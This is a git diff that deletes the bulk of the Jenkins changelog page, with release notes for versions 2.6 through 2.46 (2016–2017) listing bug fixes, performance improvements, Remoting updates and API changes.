insertions(+), 1412 deletions(-) diff --git a/changelog.html b/changelog.html index 06951f666a..20a2db735b 100644 --- a/changelog.html +++ b/changelog.html @@ -1,1419 +1,15 @@ - - - - - Changelog - - - - - -
                                                    Legend: - - major RFEmajor enhancement RFEenhancement - major bugmajor bug fix bugbug fix - xxxxx -
                                                    - - - - - -Upcoming changes -Community ratings - - - -

                                                    What's new in 2.46 (2017/02/13)

                                                    -
                                                      -
                                                    • - Failure to serialize a single Action could cause an entire REST export response to fail. - Upgraded to Stapler 1.250 with a fix. - (issue 40088) -
                                                    • - Do not fail to write a log file just because something deleted the parent directory. - (issue 16634) -
                                                    • - Use extensible BUILD_NOW_TEXT for parameterized jobs. - (issue 41457) -
                                                    • - Display an informative message, rather than a Groovy exception, when View#getItems fails. - (issue 41825) -
                                                    • - Don't consider a project to be parameterized if no parameters are defined. - (issue 37590) -
                                                    • - Don't add all group names as HTTP headers on "access denied" pages. - (issue 39402) -
                                                    • - Ensure that PluginManager#dynamicLoad runs as SYSTEM. - (issue 41684) -
                                                    • - Add Usage Statistics section to the global configuration to make it easier to find. - (issue 32938) -
                                                    • - Allow groovy CLI command via SSH CLI. - (issue 41765) - -
                                                    -

                                                    What's new in 2.45 (2017/02/06)

                                                    -
                                                      -
                                                    • - Delete obsolete pinning UI. - (issue 34065) -
                                                    • - Don't try to set Agent Port when it is enforced, breaking form submission. - (issue 41511) -
                                                    • - Use project-specific validation URL for SCM Trigger, so H is handled correctly in preview. - (issue 26977) -
                                                    • - Fix completely wrong Basque translation. - (pull 2731) -
                                                    -

                                                    What's new in 2.44 (2017/02/01)

                                                    - -

                                                    What's new in 2.43 (2017/01/29)

                                                    -
                                                      -
                                                    • - Print stack traces in logical order, with the most important part on top. - (pull 1485) -
                                                    -

                                                    What's new in 2.42 (2017/01/22)

                                                    -
                                                      -
                                                    • - IllegalStateException from Winstone when making certain requests with access logging enabled. - (issue 37625) -
                                                    -

                                                    What's new in 2.41 (2017/01/15)

                                                    -
                                                      -
                                                    • - Restore option value for setting build result to unstable when loading shell and batch build steps from disk. - (issue 40894) -
                                                    • - Autocomplete admin-only links in search suggestions only when admin. - (issue 7874) -
                                                    • - Improve agent protocol descriptions. - (issue 40700) -
                                                    • - Improve description for Enable Security option and administrative monitor when security is off. - (issue 40813) -
                                                    • - Enable the JNLP4 agent protocol by default. - (issue 40886) -
                                                    -

                                                    What's new in 2.40 (2017/01/08)

                                                    -
                                                      -
                                                    • - Support displaying of warnings from the Update Site in the Plugin Manager - and in administrative monitors. - (issue 40494, - announcement blog post) -
                                                    • - Do not print warnings about undefined parameters - when hudson.model.ParametersAction.keepUndefinedParameters property is set to false. - (pull 2687) -
                                                    • - Increase the JENKINS_HOME disk space threshold from 1Gb to 10Gb left. - The warning will be shown only if more than 90% of the disk is utilized. - (issue 40749) -
                                                    • - Plugin Manager: Redirect back to the Advanced Tab when saving the Update Site URL. - (pull 2703) -
                                                    • - Prevent the ClassNotFoundException: javax.servlet.ServletException error - when invoking shell tasks on remote agents. - (issue 40863) -
                                                    • - Jobs were hanging during process termination on the Solaris 11 Intel platform. - (issue 40470, regression in 2.20) -
                                                    • - Fix handling of the POST flag in ManagementLinks within the Manage Jenkins page. - (issue 38175) -
                                                    • - Require POST in the Reload from disk management link. - (pull 2692) -
                                                    -

                                                    What's new in 2.39 (2017/01/02)

                                                    -
                                                      -
                                                    • - Properties were not passed to Maven command by Maven build step when the Inject Build Variables flag was not set. - (issue 39268) -
                                                    • - Update remoting to 3.4 in order to properly terminate the channel in the case Errors and Exceptions. - (issue 39835) -
                                                    • - Improved Polish and Catalan translations. - (pull 2688 and - pull 2686) -
                                                    -

                                                    What's new in 2.38 (2016/12/25)

                                                    -
                                                      -
                                                    • - Update to Winstone 3.2 to support ad-hoc certificate generation on Java 8 (using unsupported APIs). - This option is deprecated and will be removed in a future release. - We strongly recommend you create self-signed certificates yourself and use --httpsKeyStore and related options instead. - (issue 25333) -
                                                    • - The install-plugin CLI command now correctly installs plugins when multiple file arguments are specified. - (issue 32358) -
                                                    • - Correctly state that Jenkins will refuse to load plugins whose dependencies are not satisfied in plugin manager. - (issue 40666) -
                                                    -

                                                    What's new in 2.37 (2016/12/18)

                                                    -
                                                      -
                                                    • - Allow defining agent ping interval and ping timeout in seconds. - It can be done via the - hudson.slaves.ChannelPinger.pingIntervalSeconds and - hudson.slaves.ChannelPinger.pingTimeoutSeconds - - system properties. - (issue 28245) -
                                                    • - Delegate JNLP HMAC computation to SlaveComputer instances when possible. - (issue 40286) -
                                                    • - Diagnosability: Split Exception handling of node provision and adding to Jenkins. - (issue 38903) -
                                                    • - Do not report -noCertificateCheck warning to STDOUT. - (pull 2666) -
                                                    • - Improve overall performance of Jenkins by accessing item group elements without sorting where it is possible. - (pull 2665) -
                                                    • - Convert URI encoding check on the Manage Jenkins page into admin monitor. - (issue 39433) -
                                                    • - Update SSHD Core from 0.8.0 to 0.14.0. - (pull 2662) -
                                                    • - SSHD Module: Handshake was failing (wrong shared secret) 1 out of 256 times due to - SSHD-330. - (issue 40362) -
                                                    • - View display name was ignored during rendering of tabs. - (issue 39300) -
                                                    • - Job configuration submission now does not fail when there is no parameters property. - (issue 39700, regression in 1.637) -
                                                    • - Fix names of item loading and cleanup Jenkins initialization stages. - (issue 40489) -
                                                    • - Performance: Use bulk change when submitting Job configurations - to minimize the number of sequential config.xml write operations. - (issue 40435) -
                                                    • - Check for Updates button in the Plugin Manager was hidden in the Updates tab - when there was no plugins updates available. - (issue 39971) -
                                                    • - Remoting 3.3: Agent JAR cache corruption was causing malfunctioning of agents. - (issue 39547) -
                                                    • - Remoting 3.3: Improve diagnostics of the preliminary FifoBuffer termination in the JNLP2 protocol. - (issue 40491) -
                                                    • - Remoting 3.3: Hardening of FifoBuffer operation logic. - The change improves the original fix of - JENKINS-25218. - (remoting pull #100) -
                                                    • - Remoting 3.3: ProxyException now retains info about suppressed exceptions - when serializing over the channel. - (remoting pull #136) -
                                                    • - API: Introduce the new Jenkins#isSubjectToMandatoryReadPermissionCheck(String restOfPath) method - for checking access permissions to particular paths. - (issue 32797) -
                                                    • - API: Introduce new Node#getNodeProperty() methods for retrieving node properties. - (issue 40365) -
                                                    • - API: Introduce new Items#allItems() methods for accessing items in item groups without sorting overhead. - (issue 40252) -
                                                    • - Improved Polish translation. - (pull 2643) -
                                                    -

                                                    What's new in 2.36 (2016/12/11)

                                                    -
                                                      -
                                                    • - Several badges were missing in builds flagged as KeepBuildForever. - (issue 40281, regression in 2.34) -
                                                    • - Retain cause of blockage if the Queue task cannot be taken due to the decision of - QueueTaskDispatcher extension, NodeProperty and other extensions. - (issue 38514) -
                                                    • - Internal API: Allow overriding UserProperty.setUser(User). - (issue 40266) -
                                                    • - Internal API: Restrict usage of core localization message classes in plugins. - These message classes are not guaranteed to be binary compatible. - (pull 2656) -
                                                    -

                                                    What's new in 2.35 (2016/12/04)

                                                    -
                                                      -
                                                    • - Add display name and full display name of items to the remote API. - (issue 39972) -
                                                    • - API: Allow specifying log level in SystemProperties when a System property is undefined. - (pull 2646) -
                                                    • - Followup fix for JENKINS-23271 in 2.34 addressing plugin implementations not using ProcStarter. - (pull 2653) -
                                                    -

                                                    What's new in 2.34 (2016/11/27)

                                                    -
                                                      -
                                                    • - Improve performance of Action retrieval methods. - It speeds up core and plugin logic operating with Actionable objects like items, folders, nodes, etc. - (issue 38867) -
                                                    • - Update the SSHD module from 1.7 to 1.8. - The change disables obsolete Ciphers: AES128CBC, TripleDESCBC, and BlowfishCBC. - (issue 39805) -
                                                    • - Update the Windows process management library (WinP) from 1.22 to 1.24. - Full changelog is available here, only major issues are mentioned below. - (pull 2619) -
                                                    • - WinP 1.24: Native class now tries loading DLLs from the temporary location. - (issue 20913) -
                                                    • - WinP 1.24: WinP sometimes kills wrong processes when using killRecursive. - It was likely impacting process termination on Windows agents. - (WinP Issue #22) -
                                                    -

                                                    What's new in 2.33 (2016/11/20)

                                                    -
                                                      -
                                                    • - Reduce size of Jenkins WAR file by not storing identical copies of remoting.jar/slave.jar there. - (pull 2633) -
                                                    • - Prevent early deallocation of process references by Garbage Collector when starting a remote process. - It was sometimes causing build failures with messages like FATAL: Invalid object ID 184 iuota=187 and java.lang.Exception: Object was recently deallocated. - (issue 23271) -
                                                    • - Make handling of internalization resource bundle names compliant with W3C standards. - (issue 39034) -
                                                    • - Redirect to login page in the case of authorisation error when checking connectivity to the Update Center. - (issue 39741) -
                                                    • - Remove the obsolete hudson.showWindowsServiceInstallLink property from the slave-agent.jnlp file. - It was causing harmless security warnings in Java web start. - (issue 39883) -
                                                    • - Improved Polish translation. - (pull 2640) -
                                                    -

                                                    What's new in 2.32 (2016/11/16)

                                                    -
                                                      -
                                                    • - Important security fixes - (security advisory) -
                                                    • - Allow disabling the Jenkins CLI over HTTP and JNLP agent port by setting the System property jenkins.CLI.disabled to true. -
                                                    -

                                                    What's new in 2.31 (2016/11/13)

                                                    -
                                                      -
                                                    • - Performance: Improve responsiveness of Jenkins web UI on mobile devices. - (issue 39172, continuation of the patch in 2.28) -
                                                    • - It was not possible to connect Jenkins agents via Java Web Start due to the issue in Remoting 3.0. - Upgraded to Remoting 3.1 with a fix. - (issue 39596, regression in 2.26) -
                                                    • - Prevent NullPointerException when rendering CauseOfInterruption.UserInterruption - in build summary pages for non-existent users. - (issue 38721 and - issue 37282, - regression in 2.14) -
                                                    • - Reduce logging level when the localization resource is missing ResourceBundleUtil#getBundle(). - (issue 39604) -
                                                    • - ExtensionList.removeAll was not unimplemented in Jenkins extension management API. - It was causing issues during dynamic loading of GitHub and BitBucket branch source plugins on the same instance. - (issue 39520) -
                                                    • - Remoting 3.1: hudson.remoting.Engine (mostly Java Web Start) was failing to establish connection - if one of the URLs in urls parameter was malformed. - (issue 39617) -
                                                    • - Remoting 3.1: Add method for dumping diagnostics across all the channels (e.g. in the Support Core Plugin). - (issue 39150) -
                                                    • - Remoting 3.1: Improve the caller/callee correlation diagnostics in thread dumps. - (issue 39543) -
                                                    • - Remoting 3.1: Add the org.jenkinsci.remoting.nio.NioChannelHub.disabled flag - for disabling NIO, mostly for debugging purposes. - (issue 39290) -
                                                    • - Remoting 3.1: Add extra logging to help diagnosing IOHub concurrent thread number spikes. - (issue 38692) -
                                                    • - Remoting 3.1: When a proxy fails, report what caused the channel to go down. - (issue 39289) -
                                                    • - Improved Polish translation. - (pull 2631) -
                                                    -

                                                    What's new in 2.30 (2016/11/07)

                                                    -
                                                      -
                                                    • - Adjust incompatible Actionable initialization changes made for issue 39404). - It caused massive regressions in plugins like Jenkins Pipeline. - (issue 39555, regression in 2.29) -
                                                    • - Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.248 with a fix. - (issue 39414, regression in 2.28) -
                                                    • - Custom remoting enable/disable settings were not properly persisted on the disk and then reloaded. - If the option has been configured in Jenkins starting from 2.16, a reconfiguration may be required. - (issue 39465) -
                                                    -

                                                    What's new in 2.29 (2016/11/06)

                                                    -

                                                    - Warning! This release is not recommended for use due to - issue 39555 - and issue 39414. - We are working on the out-of-order release (discussion). -

                                                    -
                                                      -
                                                    • - Performance: Optimize log retrieval logic for large log files. - (issue 39535) -
                                                    • - Integration of Stapler 1.246 caused regressions in plugins depending on Ruby Runtime Plugin. - Upgraded to Stapler 1.247 with a partial fix. - (issue 39414, partial fix) -
                                                    • - Jenkins startup does not fail if one of - - ComputerListeners throws exception in the onOnline() handler. - (issue 38487) -
                                                    • - Queue: Do not consider pending tasks from the internal scheduling logic when looking for duplicate tasks. - It was causing race conditions in Jenkins Pipeline. - (issue 39454) -
                                                    • - Internal: Modify the Actionable API to provide methods to assist with manipulation of persisted actions. - (issue 39404) -
                                                    • - Internal: Jelly attribute documentation now supports the since tag. - (Stapler pull #84) -
                                                    -

                                                    What's new in 2.28 (2016/10/30)

                                                    -
                                                      -
                                                    • - Performance: Improve responsiveness of Jenkins web UI on mobile devices. - (issue 39172) -
                                                    • - Print warnings if none of Tool Installers can be used during the tool installation. - (issue 26940) -
                                                    • - Update the minimal required versions of the detached Maven Project plugin from 2.7.1 to 2.14. - Changelog is available here. - (pull 2606) -
                                                    • - Update the minimal required versions of the detached JUnit plugin from 1.2-beta-4 to 1.6. - Changelog is available here. - (pull 2606)) -
                                                    • - Relax requirements of the JNLP connection receiver, which was rejections connections from agents not using - JNLPComputerLauncher (e.g. from Slave Setup, vSphere Cloud and other plugins). - No the connection is accepted from launchers implementing other proxying and filtering Launcher implementations. - Particular plugins may require setting up the - jenkins.slaves.DefaultJnlpSlaveReceiver.disableStrictVerification system property in the master JVM to allow connecting agents. - (issue 39232, regression in 2.28) -
                                                    • - Prevent resource leak in hudson.XmlFile#readRaw() in the case of encoding issues. - (issue 39363) -
                                                    • - Prevented endless loop in LargeText.BufferSession.skip(), which was causing hanging of Pipeline jobs in corner cases. - (issue 37664) -
                                                    • - Internal: Upgrade Stapler library from 1.243 to 1.246 with fixes required for the Blue Ocean project. - More details are coming soon. - Raw changes are listed here. - (pull 2593) -
                                                    • - Internal: Start defining APIs that are for the master JVM only. - (issue 38370) -
                                                    • - Internal: Update Guice dependency from 4.0-beta to 4.0. - This change required upgrade of detached plugins (see above). - (pull 2568) -
                                                    -

                                                    What's new in 2.27 (2016/10/23)

                                                    -
                                                      -
                                                    • - Upgrade to the Remoting 3 baseline. Compatibility notes are available - here. - (issue 37564) -
                                                    • - Remoting 3.0: New JNLP4-connect protocol, - which improves performance and stability compared to the JNLP3-connect protocol. - (issue 36871) -
                                                    • - Remoting 3.0: Agents using slave.jar now explicitly require Java 7. - (issue 37565) -
                                                    • - Prevent deadlocks during modification of node executor numbers (e.g. during deletion of nodes). - (issue 31768) -
                                                    • - Add missing internationalization support to ResourceBundleUtil. - It fixes internationalization in Blue Ocean - and Jenkins Design Language. - (issue 35845) -
                                                    • - Internal: Make the code more compatible with Java 9 requirements and allow its editing in newest NetBeans versions - with NB bug 268452. - (pull 2595) -
                                                    • - Internal: Icon handling API for items. - Deprecate TopLevelItemDescriptor#getIconFilePathPattern() and switch to IconSpec. - (issue 38960) -
                                                    -

                                                    What's new in 2.26 (2016/10/17)

                                                    -
                                                      -
                                                    • - Allow CommandInterpreter build steps to set a build result as Unstable via the return code. - Shell and Batch build steps now support this feature. - (issue 23786) -
                                                    • - Performance: Avoid acquiring locks in MaskingClassloader. - (issue 23784) -
                                                    • - Performance: Update XStream driver to improve performance of XML serialization/deserialization. - (pull 2561) -
                                                    • - Harden checks of prohibited names in user creation logic. - Untrimmed spaces and different letter cases are being checked now. - (issue 35967) -
                                                    • - Performance: Fix the performance of file compress/uncompress operations over the remoting channel. - (issue 38640, - issue 38814) -
                                                    • - Restore automatic line wrapping in Build Step text boxes with syntax highlighting. - (issue 27367) -
                                                    • - Properly remove disabled Administrative Monitors from the extension list. - (issue 38678) -
                                                    • - Remoting 2.62.2: Improve connection stability by turning on Socket Keep-alive by default. - Keep-alive can be disabled via the -noKeepAlive option. - (issue 38539) -
                                                    • - Remoting 2.62.2: Prevent NullPointerException in Engine#connect() - when host or port parameters are null or empty. - (issue 37539) -
                                                    • - Node build history page was hammering the performance of the Jenkins instance by spawning parallel heavy requests. - Now the information is being loaded sequentially. - (issue 23244) -
                                                    • - Cleanup spelling in CLI help and error messages. - (issue 38650) -
                                                    • - Properly handle quotes and other special symbols in item names during form validation. - (issue 31871) -
                                                    • - Internal: Invoke hpi:record-core-location during the build in order to enabled coordinated run across repositories. - (pull 1894) -
                                                    • - Internal: Bulk cleanup of @since definitions in Javadoc. - (pull 2578) -
                                                    -

                                                    What's new in 2.25 (2016/10/09)

                                                    -
                                                      -
                                                    • - Display transient actions for labels. - (issue 38651) -
                                                    • - Add user to restart log message for restart after plugin installation. - (issue 38615) -
                                                    • - Internal: Code modernization: Use try-with-resources a lot more - (pull 2570) -
                                                    -

                                                    What's new in 2.24 (2016/10/02)

                                                    -
                                                      -
                                                    • - Show notification with popup on most pages when administrative monitors are active. - (issue 38391) -
                                                    • - Allow disabling/enabling administrative monitors on Configure Jenkins form. - (issue 38301) -
                                                    • - Ensure exception stacktrace is shown when there's a FormException. - (pull 2555) -
                                                    • - Add new jenkins.model.Jenkins.slaveAgentPortEnforce system property, which prevents slave agent port modification via Jenkins Web UI and form submissions. - (PR #2545) -
                                                    • - Indicate hovered table row on striped tables. - (issue 32148) -
                                                    • - Decrease connection timeout when changing the JNLP agent port via Groovy system scripts. - (issue 38473) -
                                                    • - Added Serbian localization. - (PR #2554) -
                                                    • - Exclude /cli URL from CSRF protection crumb requirement, making the CLI work with CSRF protection enabled and JNLP port disabled. - (issue 18114) -
                                                    • - Prevent instantiation of jenkins.model.Jenkins on agents in the ProcessKillingVeto extension point. - (issue 38534) -
                                                    • - Fix handling of the jenkins.model.Jenkins.slaveAgentPort system property, which was not honored. - (issue 38187, regression in 2.0) -
                                                    • - CLI: Disable the channel message chunking by default. - Prevents connection issues like java.io.StreamCorruptedException: invalid stream header: 0A0A0A0A. - (issue 23232) -
                                                    • - CLI: Connection over HTTP was not working correctly. - (issue 34287, regression in 2.0) -
                                                    -

                                                    What's new in 2.23 (2016/09/18)

                                                    -
                                                      -
                                                    • - Fix JS/browser memory leak on Jenkins dashboard. - (issue 10912) -
                                                    • - Build history was not properly updating via AJAX. - (issue 31487) -
                                                    • - Properly enable submit button on New Item page when choosing item type first. - (issue 36539) -
                                                    -

                                                    What's new in 2.22 (2016/09/11)

                                                    -
                                                      -
                                                    • - Change symbol and constructor for SCMTrigger to pollScm to make it usable in Pipeline scripts. - (issue 37731) -
                                                    • - Prompt user whether to add the job to the current view. - (issue 19142) -
                                                    • - Update to sshd module 1.7, allowing definition of client idle timeout. - (pull 2534, - issue 36420) -
                                                    • - Update to sezpoz 1.12 with better diagnostics. - (pull 2525) -
                                                    • - Fix NullPointerException when descriptor is not in DescriptorList. - (issue 37997) -
                                                    • - Use the correct 'gear' icon for Manage Jenkins in Plugin Manager. - (issue 34250) -
                                                    -

                                                    What's new in 2.21 (2016/09/04)

                                                    -
                                                      -
                                                    • - Ask for confirmation before canceling/aborting runs. - (issue 30565) -
                                                    • - Add newline after the text in userContent/readme.txt. - (PR #2532) -
                                                    • - Fixed the missing icon in the System Script console. - (issue 37814) -
                                                    • - Print warnings to system logs and administrative monitors - when Jenkins initialization does not reach the final milestone. - (issue 37874, - diagnostics for issue-37759) -
                                                    • - Developer API: UpdateSite#getJsonSignatureValidator() can be now - overridden and used in plugins. - (PR #2532) -
                                                    -

                                                    What's new in 2.20 (2016/08/28)

                                                    -
                                                      -
                                                    • - Make Cloud.PROVISION permission independent from Jenkins.ADMINISTER. - (issue 37616) -
                                                    • - Allow the use of custom JSON signature validator for Update Site metadata signature checks. - (issue 36537) -
                                                    • - Do not process null CRON specifications in build triggers. - (issue 36748, enhances fix in 2.15) -
                                                    • - Setup wizard now checks if the restart is supported on the system before displaying the restart button. - (issue 33374) -
                                                    • - Test Windows junctions before Java 7 symlink in symbolic link checks. - (issue 29956) -
                                                    • - Fixed background color in the ComboBoxList element in order to make options visible. - (issue 37549) -
                                                    • - Fixed editing default view description with automatic refresh. - System message is not being displayed instead of the view description. - (issue 37360) -
                                                    • - Fixed process tree management logic on Solaris with 64-bit JVMs. - (issue 37559) -
                                                    -

                                                    What's new in 2.19 (2016/08/21)

                                                    -
                                                      -
                                                    • - Prevent File descriptor leaks when reading plugin manifests. - It causes failures during the upgrade of detached plugins on Windows. - (issue 37332, regression in 2.16) -
                                                    • - Prevent resource leaks in AntClassLoader being used in the core. - (issue 37561) -
                                                    • - Fix the wrong message about empty field in the case duplicate item name in the New Item dialog. - (issue 34532) -
                                                    • - Allow invoking Upgrade Wizard when Jenkins starts up. - It can be done by placing an empty jenkins.install.InstallUtil.lastExecVersion file - in JENKINS_HOME. - (issue 37438) -
                                                    • - Replace repetitious "website" and "dependencies" text in the Setup Wizard by icons. - (issue 37523) -
                                                    • - Expose Job name to system logs when Jenkins fails to create a new build with IllegalStateException. - (issue 33549) -
                                                    • - Downgrade Queue#maintain() message for dead executors during task mapping - from INFO to FINE. - (PR #2510) -
                                                    -

                                                    What's new in 2.18 (2016/08/15)

                                                    -
                                                      -
                                                    • - Better diagnostics and robustness against old ChangeLogAnnotator API usage in plugins. - Enhances JENKINS-23365 fix in 1.569. - (issue 36757) -
                                                    • - Prevent open file leak when the agent channel onClose() listener writes to the already closed log. - (issue 37098) -
                                                    • - Stop A/B testing of the remoting JNLP3 protocol due to the known issues. - The protocol can be enabled manually via the jenkins.slaves.JnlpSlaveAgentProtocol3.enabled - system property. - (issue 37315) -
                                                    • - When checking Update Center, append ?uctest parameter to HTTP and HTTPS URLs only. - (issue 37189) -
                                                    • - Incorrect formatting of messages in the Update Center and Setup Wizard. - (issue 36757) -
                                                    • - Massive cleanup of issues reported by FindBugs. - User-visible issues - wrong log message formatting bugs in the Update Center and user creation logic. - (issue 36717, - PR #2459) -
                                                    • - Remoting 2.61: JNLP Slave connection issue with JNLP3-connect - when the generated encrypted cookie contains a newline symbols. - (issue 37140) -
                                                    • - Remoting 2.61: Retry loading classes when remote classloader gets interrupted. - (issue 36991) -
                                                    • - Remoting 2.61: Improve diagnostics of Local Jar Cache write errors. - (remoting PR #91) -
                                                    • - Remoting 2.62: Be robust against the delayed EOF command when unexporting input and output streams. - (issue 22853) -
                                                    • - Remoting 2.62: Cleanup of minor issues discovered by FindBugs. - (remoting PR #96) -
                                                    • - Remoting 2.62: Improve class filtering performance in remote invocations. - (issue 37218) -
                                                    • - Remoting 2.62: TCP agent connection listener now publishes a list of supported agent protocols to speed up the connection setup. - (issue 37031) -
                                                    • - Improve German, Lithuanian and Bulgarian translations. - (PR #2473, - PR #2470, - PR #2498 - ) -
                                                    -

                                                    What's new in 2.17 (2016/08/05)

                                                    -
                                                      -
                                                    • - Don't load all builds to display the paginated build history widget. - (issue 31791) -
                                                    • - Add diagnostic HTTP response to TCP agent listener. - (issue 37223) -
                                                    • - Internal: Invoke FindBugs during core build. - (issue 36715) -
                                                    -

                                                    What's new in 2.16 (2016/07/31)

                                                    -
                                                      -
                                                    • - Fix plugin dependency resolution. Jenkins will now refuse to load plugins with unsatisfied dependencies, which resulted in difficult to diagnose problems. This may result in errors on startup if your instance has an invalid plugin configuration., check the Jenkins log for details. - (issue 21486) -
                                                    • - Decouple bouncycastle libraries from Jenkins into bouncycastle-api plugin. - (issue 36923) -
                                                    • - Upgrade to instance-identity module 2.1. - (issue 36922) -
                                                    • - Hide the Java Web Start launcher when the TCP agent port is disabled. - (issue 36996) -
                                                    • - Allow admins to control the enabled agent protocols on their instance from the global security settings screen. - (issue 37032) -
                                                    • - Make sure that the All view is created. - (issue 36908) -
                                                    • - Remove trailing space from Hudson.DisplayName in Spanish, which resulted in problems with Blue Ocean. - (issue 36940) -
                                                    • - Honor non-default update sites in setup wizard. - (issue 34882) -
                                                    • - Display delete button only when build is not locked. - (pull 2483) -
                                                    • - Use build start times instead of build scheduled times in build timeline widget. - (issue 36732) -
                                                    • - Ensure that detached plugins are always at least their minimum version. - (issue 37041) -
                                                    • - Internal: Move CLI commands wait-node-online/wait-node-offline from core to CLI module. - (issue 34915) -
                                                    • - Internal: Allow accessing instance identity from core. - (issue 36871) -
                                                    • - Internal: Fix the default value handling of ArtifactArchiver.excludes. - (issue 29922) -
                                                    -

                                                    What's new in 2.15 (2016/07/24)

                                                    -
                                                      -
                                                    • - Tell browsers not to cache or try to autocomplete forms in Jenkins to prevent problems due to invalid data in form submissions. - From now on, only select form fields (e.g. job name) will offer autocompletion. - (issue 18435) -
                                                    • - Add a cache for user information to fix performance regression due to SECURITY-243. - (issue 35493) -
                                                    • - Prevent null pointer exceptions when not entering a cron spec for a trigger. - (issue 36748) -
                                                    • - Defend against some fatal startup errors. - (issue 36666) -
                                                    • - Use the icon specified by the computer implementation on its overview page. - (issue 36775) -
                                                    • - Internal: Extract the CLI command offline-node from core. - (issue 34468) -
                                                    -

                                                    What's new in 2.14 (2016/07/17)

                                                    -
                                                      -
                                                    • - Minor optimization in calculation of recent build stability health report. - (issue 36629) -
                                                    • - Underprivileged users were unable to use the default value of a password parameter. - (issue 36476) -
                                                    • - Allow keeping builds forever with custom build retention strategies. - (issue 26438) -
                                                    • - Properly handle exceptions during global configuration form submissions when SCM Retry Count field is empty. - (issue 36387) -
                                                    • - When a user aborts the build, this user may be restored after its deletion. - (issue 36594) -
                                                    • - Prevent potential NullPointerException in the BlockedBecauseOfBuildInProgress build blockage cause visualization. - (issue 36592) -
                                                    • - CLI commands quiet-down and cancel-quiet-down were extracted from the core to CLI. - (issue 35423) -
                                                    • - Developer API: Extract listing of computer names to the ComputerSet#getComputerNames() method. - (issue 35423) -
                                                    • - Developer API: Add a try with resources form of impersonation. - (issue 36494) -
                                                    • - Developer API: Usage of ItemCategory#MIN_TOSHOW in external plugins is now restricted. - (issue 36593) -
                                                    -

                                                    What's new in 2.13 (2016/07/10)

                                                    -
                                                      -
                                                    • - IllegalStateException under certain conditions when reloading configuration from disk while jobs are in the queue. - (issue 27530) -
                                                    • - Eliminate “dead executor†UI appearing after certain errors, such as JENKINS-27530. - (PR 2440) -
                                                    • - Make setup wizard installation panel usable on small screens. - (issue 34668) -
                                                    -

                                                    What's new in 2.12 (2016/07/05)

                                                    -
                                                      -
                                                    • - Enable the DescriptorVisibilityFilters for ComputerLauncher, RetentionStrategy and NodeProperty. - (issue 36280) -
                                                    • - Before starting a process, ensure that its working directory exists. - (issue 36277) -
                                                    • - Prevent NullPointerException during SCM polling if SCMDecisionHandler returns null veto. - (issue 36232, regression in 2.11) -
                                                    • - Ensure that SCMDescriptor.newInstance overrides are honored when creating new SCM entries. - (issue 36043, - issue 35906 - , regression in 2.10) -
                                                    • - Performance: Improve configuration page load times by removing the CodeMirror reloading cycle. - (issue 32027) -
                                                    • - Fix optional plugin dependency version resolution. - (issue 21486) -
                                                    • - When creating a tar file, ensure that the final size does not exceed the value - in header in the case of growing files. - (Issue 20187) -
                                                    • - Do not inject build variables into Maven process by default for new projects. - (issue 25416, - issue 28790) -
                                                    • - Update BUILD_TAG environment variable description to mention the replacement of slashes with dashes. - (PR #2417) -
                                                    • - Internal API: Make BulkChange auto-closeable. - (PR #2428) -
                                                    -

                                                    What's new in 2.11 (2016/06/26)

                                                    -
                                                      -
                                                    • - Provide an extension point for SCM decisions such as whether to poll a specific job's backing - repository for changes. - (issue 36123) -
                                                    -

                                                    What's new in 2.10 (2016/06/19)

                                                    -
                                                      -
                                                    • - Better exception message if a SecurityRealm returns null when loading a user. - (PR #2407) -
                                                    • - Prevent NullPointerException in user registration if user ID is not specified. - (issue 33600) -
                                                    • - Internal: It was impossible to build Jenkins on 32-bit Linux machine. - (issue 36052, regression from 2.0) -
                                                    -

                                                    What's new in 2.9 (2016/06/13)

                                                    -
                                                      -
                                                    • - Always send usage statistics over HTTPs to the new usage.jenkins.io hostname. - (issue 35641) -
                                                    • - Performance: Disable AutoBrowserHolder by default to improve the changelog rendering performance. - (issue 35098) -
                                                    • - Remoting 2.60: Make the channel reader tolerant against Socket timeouts. - (issue 22722) -
                                                    • - Remoting 2.60: Proper handling of the no_proxy environment variable. - (issue 32326) -
                                                    • - Remoting 2.60: Do not invoke PingFailureAnalyzer for agent=>master ping failures. - (issue 35190) -
                                                    • - Remoting 2.60: hudson.Remoting.Engine#waitForServerToBack now uses credentials for connection. - (issue 31256) -
                                                    • - Remoting 2.60: Fix potential file handle leaks during the build agent (FKA slave) startup. - issue 35190) -
                                                    • - Internal: Upgrade Groovy to 2.4.7 to finalize the fix in Jenkins 2.7. - (issue 34751) -
                                                    • - API: Allow delegating TaskListener creation to build agent implementations. - (issue 34923) -
                                                    • - API: Restrict external usages of jenkins.util.ResourceBundleUtil. - (issue 35381) -
                                                    • - API: Make it easier for UpdateSites to tweak the InstallationJob. - (issue 35402) -
                                                    -

                                                    What's new in 2.8 (2016/06/05)

                                                    -
                                                      -
                                                    • - Explicitly declare compatibility of Windows build agent service with .NET Framework 4. - (PR #2386) -
                                                    • - API: Introduce new listener extension point for slave creation/update/deletion. - (issue 33780) -
                                                    • - Lossless optimization sizes of PNG images in Jenkins. - (PR #2379) -
                                                    • - Fix the repeatable item delete button layout in Safari. - Addresses Build Steps and other such configuration items. - (issue 35178) -
                                                    • - Installation Wizard: Do not offer creating new admin user if the security is preconfigured. - (issue 34881) -
                                                    • - Prevent NullPointerException on startup after update from Jenkins 2.5. - (issue 35206) -
                                                    • - Honor noProxy settings from "Manage Jenkins > Manage Plugins > Advanced". - (issue 31915) -
                                                    • - Add NTLM support - to the proxy validation logic. - (PR #1955) -
                                                    -

                                                    What's new in 2.7 (2016/05/29)

                                                    -
                                                      - -
                                                    • - Prevent stack overflow when using classes with complex generic type arguments - (e.g. hudson.model.Run or hudson.model.Job). - Regression in Groovy 2.4, - see GROOVY-7826 for more info. - (issue 34751) -
                                                    • - Do not invoke PingFailureAnalyzer for agent=>master ping failures. - (issue 35190) -
                                                    • - Fix keyboard navigation in setup wizard. - (issue 33947) -
                                                    • - Cleanup of Javascript issues discovered by the JSHint static analysis tool. - (issue 35020) -
                                                    • - DelegatingComputerLauncher now accepts child classes in its hooks - (pre-offline, pre-connect, etc.). - (issue 35198) -
                                                    • - Internal: Activate JSHint in Jenkins js-builder component during the core build. - (issue 34438) -
                                                    • - Internal: Add symbol annotation for SystemInfoLink. - (PR #2375) -
                                                    • - Internal: NodeJS build was malfunctioning on Win x64. - (issue 35201) -
                                                    -

                                                    What's new in 2.6 (2016/05/22)

                                                    -
                                                      -
                                                    • - Adapt the Setup Wizard GUI to provide a similar user experience when upgrading Jenkins. - (issue 33663) - -
